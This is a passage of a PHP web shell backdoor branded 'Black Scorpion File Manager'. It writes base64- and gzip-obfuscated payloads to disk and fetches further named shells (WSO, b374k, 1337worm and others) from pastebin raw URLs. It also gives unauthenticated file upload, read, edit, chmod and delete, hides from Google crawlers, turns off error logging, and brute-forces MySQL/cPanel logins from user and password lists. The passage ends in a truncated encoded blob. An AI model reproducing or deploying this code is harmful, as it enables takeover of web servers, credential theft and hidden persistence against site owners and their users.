  2010. $jump_ing = "PD9waHAKZWNobyAiPGgxPlNvcnJ5IFdpbGwgQWRkIEl0IExhdGVyPC9oMT4iOwo/Pg==";
  2011. $lalalala = @fopen("jumping.php", "w");
  2012. @fwrite($lalalala, base64_decode($jump_ing));
  2013. @fclose($lalalala);
  2014. header("Location:jumping.php");
  2015. }
  2016.  
  2017.  
  2018.  
  2019.  
  2020. if (isset($_POST['mass'])) {
  2021. $php_mass = "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";
  2022. $lalalala = @fopen("mass.php", "w");
  2023. @fwrite($lalalala, htmlspecialchars_decode(gzinflate(base64_decode($php_mass))));
  2024. @fclose($lalalala);
  2025. header("Location:mass.php");
  2026. }
  2027.  
  2028.  
  2029.  
  2030. if (isset($_POST['madleets'])) {
  2031. download_remote_file('http://pastebin.com/raw/M9mx5j4h', realpath("./") . '/madleets.php');
  2032. header("location:madleets.php"); }
  2033.  
  2034. if (isset($_POST['rooter'])) {
  2035. download_remote_file('http://pastebin.com/raw/sJxiRZAH', realpath("./") . '/rooter.php');
  2036. header("location:rooter.php"); }
  2037.  
  2038. if (isset($_POST['cpc'])) {
  2039. download_remote_file('http://pastebin.com/raw/d73HhXBk', realpath("./") . '/cpc.php');
  2040. header("location:cpc.php"); }
  2041.  
  2042. if (isset($_POST['anonghosts'])) {
  2043. download_remote_file('http://pastebin.com/raw/Cm3WsQXL', realpath("./") . '/anonghosts.php');
  2044. header("location:anonghosts.php"); }
  2045.  
  2046. if (isset($_POST['blackhat'])) {
  2047. download_remote_file('http://pastebin.com/raw/XFs2pPBM', realpath("./") . '/blackhat.php');
  2048. header("location:blackhat.php"); }
  2049.  
  2050. if (isset($_POST['imageshell'])) {
  2051. download_remote_file('http://pastebin.com/raw/eTbTMB4y', realpath("./") . '/imageshell.php');
  2052. header("location:imageshell.php"); }
  2053.  
  2054. if (isset($_POST['madspot'])) {
  2055. download_remote_file('http://pastebin.com/raw/mjKJRfXA', realpath("./") . '/madspot.php');
  2056. header("location:madspot.php"); }
  2057.  
  2058. if (isset($_POST['pcd'])) {
  2059. download_remote_file('http://pastebin.com/raw/cBiiU6MR', realpath("./") . '/pcd.php');
  2060. header("location:pcd.php"); }
  2061.  
  2062. if (isset($_POST['cheta'])) {
  2063. download_remote_file('http://pastebin.com/raw/H6ah5rnF', realpath("./") . '/cheta.php');
  2064. header("location:cheta.php"); }
  2065.  
  2066. if (isset($_POST['zone'])) {
  2067. download_remote_file('http://pastebin.com/raw/LsRHWmAD', realpath("./") . '/zone.php');
  2068. header("location:zone.php"); }
  2069.  
  2070.  
  2071. if (isset($_POST['1337worm'])) {
  2072. download_remote_file('http://pastebin.com/raw/7WwNgWHh', realpath("./") . '/1337worm.php');
  2073. header("location:1337worm.php"); }
  2074.  
  2075. if (isset($_POST['wso'])) {
  2076. download_remote_file('https://pastebin.com/raw/BZFzbfhr', realpath("./") . '/wso.php');
  2077. header("location:wso.php"); }
  2078.  
  2079.  
  2080. if (isset($_POST['joker'])) {
  2081. download_remote_file('http://pastebin.com/raw/eLT2PtZN', realpath("./") . '/joker.php');
  2082. header("location:joker.php"); }
  2083.  
  2084.  
  2085. if (isset($_POST['b374k'])) {
  2086. download_remote_file('http://pastebin.com/raw/UZuF1RKJ', realpath("./") . '/b374k.php');
  2087. header("location:b374k.php"); }
  2088.  
  2089.  
  2090. if(isset($_GET['mini_shell']))
  2091. {
  2092.  
  2093. set_time_limit(0);
  2094. error_reporting(0);
  2095.  
  2096. if(get_magic_quotes_gpc()){
  2097. foreach($_POST as $key=>$value){
  2098. $_POST[$key] = stripslashes($value);
  2099. }
  2100. }
  2101. echo '<!DOCTYPE HTML>
  2102. <HTML>
  2103. <HEAD>
  2104. <link href="" rel="stylesheet" type="text/css">
  2105. <title>Black Scorp File Manager</title>
  2106. <style>
  2107. body{
  2108. font-family: "Racing Sans One", cursive;
  2109. background-color: #e6e6e6;
  2110. text-shadow:0px 0px 1px #757575;
  2111. }
  2112. #content tr:hover{
  2113. background-color: #636263;
  2114. text-shadow:0px 0px 10px #fff;
  2115. }
  2116. #content .first{
  2117. background-color: silver;
  2118. }
  2119. #content .first:hover{
  2120. background-color: silver;
  2121. text-shadow:0px 0px 1px #757575;
  2122. }
  2123. table{
  2124. border: 1px #000000 dotted;
  2125. }
  2126. H1{
  2127. font-family: "Rye", cursive;
  2128. }
  2129. a{
  2130. color: #000;
  2131. text-decoration: none;
  2132. }
  2133. a:hover{
  2134. color: #fff;
  2135. text-shadow:0px 0px 10px #ffffff;
  2136. }
  2137. input,select,textarea{
  2138. border: 1px #000000 solid;
  2139. -moz-border-radius: 5px;
  2140. -webkit-border-radius:5px;
  2141. border-radius:5px;
  2142. }
  2143. </style>
  2144. </HEAD>
  2145. <BODY>
  2146. <H1><center>Black Scorpion File Manager</center></H1>
  2147. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  2148. <tr><td>Current Path : ';
  2149. if(isset($_GET['mini_shell']) && ($_GET['path'])){
  2150. $path = $_GET['path'];
  2151. }else{
  2152. $path = getcwd();
  2153. }
  2154. $path = str_replace('\\','/',$path);
  2155. $paths = explode('/',$path);
  2156.  
  2157. foreach($paths as $id=>$pat){
  2158. if($pat == '' && $id == 0){
  2159. $a = true;
  2160. echo '<a href="?mini_shell&path=/">/</a>';
  2161. continue;
  2162. }
  2163. if($pat == '') continue;
  2164. echo '<a href="?mini_shell&path=';
  2165. for($i=0;$i<=$id;$i++){
  2166. echo "$paths[$i]";
  2167. if($i != $id) echo "/";
  2168. }
  2169. echo '">'.$pat.'</a>/';
  2170. }
  2171. echo '</td></tr><tr><td>';
  2172. if(isset($_FILES['file'])){
  2173. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  2174. echo '<font color="green">File Upload Done.</font><br />';
  2175. }else{
  2176. echo '<font color="red">File Upload Error.</font><br />';
  2177. }
  2178. }
  2179. echo '<form enctype="multipart/form-data" method="POST">
  2180. Upload File : <input type="file" name="file" />
  2181. <input type="submit" value="upload" />
  2182. </form>
  2183. </td></tr>';
  2184. if(isset($_GET['filesrc'])){
  2185. echo "<tr><td>Current File : ";
  2186. echo $_GET['filesrc'];
  2187. echo '</tr></td></table><br />';
  2188. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  2189. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  2190. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  2191. if($_POST['opt'] == 'chmod'){
  2192. if(isset($_POST['perm'])){
  2193. if(chmod($_POST['path'],$_POST['perm'])){
  2194. echo '<font color="green">Change Permission Done.</font><br />';
  2195. }else{
  2196. echo '<font color="red">Change Permission Error.</font><br />';
  2197. }
  2198. }
  2199. echo '<form method="POST">
  2200. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  2201. <input type="hidden" name="path" value="'.$_POST['path'].'">
  2202. <input type="hidden" name="opt" value="chmod">
  2203. <input type="submit" value="Go" />
  2204. </form>';
  2205. }elseif($_POST['opt'] == 'rename'){
  2206. if(isset($_POST['newname'])){
  2207. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  2208. echo '<font color="green">Change Name Done.</font><br />';
  2209. }else{
  2210. echo '<font color="red">Change Name Error.</font><br />';
  2211. }
  2212. $_POST['name'] = $_POST['newname'];
  2213. }
  2214. echo '<form method="POST">
  2215. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  2216. <input type="hidden" name="path" value="'.$_POST['path'].'">
  2217. <input type="hidden" name="opt" value="rename">
  2218. <input type="submit" value="Go" />
  2219. </form>';
  2220. }elseif($_POST['opt'] == 'edit'){
  2221. if(isset($_POST['src'])){
  2222. $fp = fopen($_POST['path'],'w');
  2223. if(fwrite($fp,$_POST['src'])){
  2224. echo '<font color="green">Edit File Done.</font><br />';
  2225. }else{
  2226. echo '<font color="red">Edit File Error.</font><br />';
  2227. }
  2228. fclose($fp);
  2229. }
  2230. echo '<form method="POST">
  2231. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  2232. <input type="hidden" name="path" value="'.$_POST['path'].'">
  2233. <input type="hidden" name="opt" value="edit">
  2234. <input type="submit" value="Go" />
  2235. </form>';
  2236. }
  2237. echo '</center>';
  2238. }else{
  2239. echo '</table><br /><center>';
  2240. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  2241. if($_POST['type'] == 'dir'){
  2242. if(rmdir($_POST['path'])){
  2243. echo '<font color="green">Delete Dir Done.</font><br />';
  2244. }else{
  2245. echo '<font color="red">Delete Dir Error.</font><br />';
  2246. }
  2247. }elseif($_POST['type'] == 'file'){
  2248. if(unlink($_POST['path'])){
  2249. echo '<font color="green">Delete File Done.</font><br />';
  2250. }else{
  2251. echo '<font color="red">Delete File Error.</font><br />';
  2252. }
  2253. }
  2254. }
  2255. echo '</center>';
  2256. $scandir = scandir($path);
  2257. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  2258. <tr class="first">
  2259. <td><center>Name</center></td>
  2260. <td><center>Size</center></td>
  2261. <td><center>Permissions</center></td>
  2262. <td><center>Options</center></td>
  2263. </tr>';
  2264.  
  2265. foreach($scandir as $dir){
  2266. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  2267. echo "<tr>
  2268. <td><a href=\"?mini_shell&path=$path/$dir\">$dir</a></td>
  2269. <td><center>--</center></td>
  2270. <td><center>";
  2271. if(is_writable("$path/$dir")) echo '<font color="green">';
  2272. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  2273. echo permsa("$path/$dir");
  2274. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  2275.  
  2276. echo "</center></td>
  2277. <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
  2278. <select name=\"opt\">
  2279. <option value=\"\"></option>
  2280. <option value=\"delete\">Delete</option>
  2281. <option value=\"chmod\">Chmod</option>
  2282. <option value=\"rename\">Rename</option>
  2283. </select>
  2284. <input type=\"hidden\" name=\"type\" value=\"dir\">
  2285. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  2286. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  2287. <input type=\"submit\" value=\">\" />
  2288. </form></center></td>
  2289. </tr>";
  2290. }
  2291. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  2292. foreach($scandir as $file){
  2293. if(!is_file("$path/$file")) continue;
  2294. $size = filesize("$path/$file")/1024;
  2295. $size = round($size,3);
  2296. if($size >= 1024){
  2297. $size = round($size/1024,2).' MB';
  2298. }else{
  2299. $size = $size.' KB';
  2300. }
  2301.  
  2302. echo "<tr>
  2303. <td><a href=\"?mini_shell&filesrc=$path/$file&path=$path\">$file</a></td>
  2304. <td><center>".$size."</center></td>
  2305. <td><center>";
  2306. if(is_writable("$path/$file")) echo '<font color="green">';
  2307. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  2308. echo permsa("$path/$file");
  2309. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  2310. echo "</center></td>
  2311. <td><center><form method=\"POST\" action=\"?mini_shell&option&path=$path\">
  2312. <select name=\"opt\">
  2313. <option value=\"\"></option>
  2314. <option value=\"delete\">Delete</option>
  2315. <option value=\"chmod\">Chmod</option>
  2316. <option value=\"rename\">Rename</option>
  2317. <option value=\"edit\">Edit</option>
  2318. </select>
  2319. <input type=\"hidden\" name=\"type\" value=\"file\">
  2320. <input type=\"hidden\" name=\"name\" value=\"$file\">
  2321. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  2322. <input type=\"submit\" value=\">\" />
  2323. </form></center></td>
  2324. </tr>";
  2325. }
  2326. echo '</table>
  2327. </div>';
  2328. }
  2329. echo '
  2330. </BODY>
  2331. </HTML>';
  2332.  
  2333.  
  2334. exit;
  2335. }
  2336. else if(isset($_GET['cp']))
  2337. {
  2338.  
  2339.  
  2340. $default_action = 'FilesMan';
  2341. @define('SELF_PATH', __FILE__);
  2342. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  2343. header('HTTP/1.0 404 Not Found');
  2344. exit;
  2345. }
  2346. @session_start();
  2347. @error_reporting(0);
  2348. @ini_set('error_log',NULL);
  2349. @ini_set('log_errors',0);
  2350. @ini_set('max_execution_time',0);
  2351. @set_time_limit(0);
  2352. @set_magic_quotes_runtime(0);
  2353. @define('VERSION', '2.1');
  2354. if( get_magic_quotes_gpc() ) {
  2355. function stripslashes_array($array) {
  2356. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  2357. }
  2358. $_POST = stripslashes_array($_POST);
  2359. }
  2360.  
  2361.  
  2362. @set_time_limit(0);
  2363. @error_reporting(0);
  2364. $login_time = 3600 * 24 * 7;
  2365. $hijau = array("#00FF00", "#006400", "#888888");
  2366. $merah = array("#FF0000", "#640000", "#888888");
  2367. $biru = array("#0000FF", "#000064", "#888888");
  2368. $kuning = array("#FFFF00", "#646400", "#888888");
  2369. $cyan = array("#00FFFF", "#006464", "#888888");
  2370. $pink = array("#FF00FF", "#640064", "#888888");
  2371. $theme = "hijau";
  2372. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2373. switch(isset($_GET['x'])){
  2374. case 'green':
  2375. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2376. $theme = "hijau";
  2377. setcookie("theme", $theme ,time() + $login_time);
  2378. break;
  2379. case 'red':
  2380. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2381. $theme = "merah";
  2382. setcookie("theme", $theme ,time() + $login_time);
  2383. break;
  2384. case 'blue':
  2385. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2386. $theme = "biru";
  2387. setcookie("theme", $theme ,time() + $login_time);
  2388. break;
  2389. case 'yellow':
  2390. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2391. $theme = "kuning";
  2392. setcookie("theme", $theme ,time() + $login_time);
  2393. break;
  2394. case 'cyan':
  2395. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2396. $theme = "cyan";
  2397. setcookie("theme", $theme ,time() + $login_time);
  2398. break;
  2399. case 'pink':
  2400. if(isset($_COOKIE['theme'])) $theme = $_COOKIE['theme'];
  2401. $theme = "pink";
  2402. setcookie("theme", $theme ,time() + $login_time);
  2403. break;
  2404. }
  2405. if($theme == "hijau")
  2406. {$color = $hijau;}
  2407. elseif($theme == "merah")
  2408. {$color = $merah;}
  2409. elseif($theme == "biru")
  2410. {$color = $biru;}
  2411. elseif($theme == "kuning")
  2412. {$color = $kuning;}
  2413. elseif($theme == "cyan")
  2414. {$color = $cyan;}
  2415. else
  2416. {$color = $pink;}
  2417. echo '<head>
  2418. <style type="text/css">
  2419. <!--
  2420. body {
  2421. background-color: #000000;
  2422. font-family: Verdana;
  2423. font-size: 13px;
  2424. color: #EB4949;
  2425. margin:5px;
  2426. }
  2427. input,textarea,select{
  2428. color: #EB4949;
  2429. font-size: 13px;
  2430. border: 1px solid #EB4949;
  2431. background-color: #080808;
  2432. }
  2433. input:hover,textarea:hover,select:hover{
  2434. color: #EB4949;
  2435. font-size: 13px;
  2436. border: 1px solid #EB4949;
  2437. background-color: #080808;
  2438. }
  2439. a {
  2440. background-color: #000000;
  2441. vertical-align: bottom;
  2442. text-decoration: none;
  2443. font-size: 13px;
  2444. color:#EB4949;
  2445. }
  2446. a:hover {
  2447. background-color: #080808;
  2448. vertical-align: bottom;
  2449. text-decoration: none;
  2450. font-size: 13px;
  2451. color:#EB4949;
  2452. }
  2453. .label {
  2454. font-size: 13px;
  2455. color: #EB4949;
  2456. padding:3px;
  2457. }
  2458. td {
  2459. border-bottom:2px solid #EB4949;
  2460. background:#222;
  2461. }
  2462. -->
  2463. </style>
  2464. </head>
  2465. ';
  2466. if(isset($_POST['page']) == 'find')
  2467. {
  2468. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  2469. {
  2470. if($_POST['type'] == 'passwd'){
  2471. $e = explode("\n",$_POST['usernames']);
  2472. foreach($e as $value){
  2473. $k = explode(":",$value);
  2474. $username .= $k['0']." ";
  2475. }
  2476. }elseif($_POST['type'] == 'simple'){
  2477. $username = str_replace("\n",' ',$_POST['usernames']);
  2478. }
  2479. $a1 = explode(" ",$username);
  2480. $a2 = explode("\n",$_POST['passwords']);
  2481. $id2 = count($a2);
  2482. $ok = 0;
  2483. foreach($a1 as $user )
  2484. {
  2485. if($user !== '')
  2486. {
  2487. $user=trim($user);
  2488. for($i=0;$i<=$id2;$i++)
  2489. {
  2490. $pass = trim($a2[$i]);
  2491. if(@mysql_connect('localhost',$user,$pass))
  2492. {
  2493. echo "Virus Sites ~~~ User : (<font color='#EB4949'>$user</font>) Pass : (<font color='#EB4949'>$pass</font>)<br />";
  2494. $ok++;
  2495. }
  2496. }
  2497. }
  2498. }
  2499. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><hr noshade size=1>";
  2500. echo "<center>[Done] : <font color='#EB4949'>You Found</font> $ok <font color='#EB4949'>CPanel,</font> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2501. exit;
  2502. }
  2503. }
  2504. if(isset($_POST['pass1']) == 'password'){
  2505. error_reporting(0);
  2506. mkdir('config',0755);
  2507. $cp =
  2508. '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